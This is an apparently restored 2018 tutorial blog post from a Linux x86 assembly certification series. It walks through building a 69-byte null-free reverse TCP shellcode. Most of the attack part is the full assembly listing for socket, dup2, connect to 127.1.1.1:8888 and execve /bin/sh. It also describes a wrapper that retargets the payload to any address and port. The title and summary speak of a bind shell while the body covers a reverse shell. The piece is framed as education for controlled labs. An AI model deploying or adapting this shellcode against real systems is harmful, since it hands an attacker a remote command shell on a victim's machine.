Art of Shellcoding: The Saga of Bind TCP Shell
A restored 2018 Linux x86 bind-shell engineering article covering system-call analysis, null-byte removal, reduction from 108 to 80 bytes and dynamic port generation.
Shellcode Research Nipun Jaswal todayJanuary 5, 2018 3
Legacy research restoration. Originally published on 5 January 2018 as part of the SecurityTube Linux Assembly Expert programme under student ID SLAE-1080. The original technical sequence, images, code references and publication date have been preserved.
![]() |
| Modern Ninja 🙂 |
Hey Folks, Hope you guys are doing great. In the previous article, we saw how we can create a bind TCP shellcode, reduce its enormous length from 108 bytes to merely 80 bytes by making use of strategically placed instructions, register re-use, single byte instructions and much more. We also saw how we can create a wrapper in python which will help us modify the shellcode and make it usable for any port of choice.
In this article, we will discuss how we can create a reverse TCP shellcode. In case you missed my previous post, read the Bind TCP shell article first since this post builds heavily on the mechanisms discussed in the last post.
Our Agenda for this exercise is to:
Note: On this day (Friday, Jan 5, 2018, 1:28 AM IST) The shellcode we created in this post is the smallest Null-Free and Register Pollution Free /bin/sh shellcode checked on Exploit-DB at the time, not counting register-pollution-based shellcodes or Netcat reverse shells.
Update: The shellcode was accepted by Exploit-DB as EDB-ID 43433.
[shellcode] Linux/x86 – Reverse TCP Shell (127.1.1.1:8888/TCP) Shellcode (69 bytes) — Exploit Database, January 5, 2018.
So, let’s quickly generate a linux/x86/shell_reverse_tcp using msfvenom and feed it to libemu as shown on the following screen:
![]() |
| Libemu Analysis of the Reverse Shell TCP |
We can see that we have primarily four system calls that will come handy for creating shellcode for reverse TCP: socket, dup2, connect and execve. The main change in this shellcode is that instead of system calls like bind, accept and listen, we have only the connect system call. The first call is SYS_SOCKET:
xor ebx,ebx ; Clearing out EBX
push ebx ; IP_PROTO
inc ebx ; SYS_SOCKET
push ebx ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp ; pointer to {2,1,0}
push 0x66 ; SOCKETCALL
pop eax
int 0x80
Similar to the bind shell, we set up SYS_SOCKET. Next, DUP2 is called three times:
xchg ebx,eax ; move resultant sockfd to EBX
pop ecx ; load 2 into ECX
loop:
mov al,0x3f ; DUP2
int 0x80
dec ecx
jns loop
The instructions loop until ECX becomes zero and the sign flag is set. Next, we set up connect:
push 0x101017f ; IP address 127.1.1.1
push word 0xb822 ; port 8888
push word 2 ; AF_INET
mov ecx,esp ; pointer 1
mov al,0x66 ; SOCKETCALL
push eax ; length
push ecx ; pointer 1
push ebx ; sockfd
mov bl,0x3 ; SYS_CONNECT
mov ecx,esp ; pointer 2
int 0x80
There are two main highlights here. We did not move 0xb8220002 as a DWORD because that would introduce a null byte, so the port and family were pushed separately. We also used 127.1.1.1 rather than 127.0.0.1 to avoid nulls. Finally, the execve segment is set up:
push edx ; zero
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0xb ; EXECVE
int 0x80
Compiling the code produced the shellcode shown below:
![]() |
| Generating Shellcode |
Compiling the shellcode in a C program and testing it confirms that the shellcode works correctly:
![]() |
| Compiling and running shellcode.c with the shellcode |
The original article also included a Python wrapper that converted the supplied IPv4 address and port to byte sequences, located the default values in a C stub, replaced them, compiled the generated source with executable-stack lab settings, and removed the temporary file. The complete original wrapper and supporting source are preserved in the ASSGN-2 repository linked below.
![]() |
| Wrapper and execution |
Files for this tutorial can be found at the SLAE ASSGN-2 repository.
This blog post was created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student-ID: SLAE-1080
Art of Shellcoding series
← Previous: Bind TCP Shell · Series hub · Next: EggHunters →
This article documents historical 32-bit Linux exploit-development research and tooling. Modern systems commonly add architectural, compiler and operating-system protections that change build and execution behaviour. The material is retained for controlled labs, defensive understanding and the historical research record.
Authorisation notice: Test only on systems you own or are explicitly authorised to assess.
Written by: Nipun Jaswal
Shellcode Research Nipun Jaswal
A restored 2018 Linux x86 bind-shell engineering article covering system-call analysis, null-byte removal, reduction from 108 to 80 bytes and dynamic port generation.
Copyright 2026 NIPUNJASWAL.COM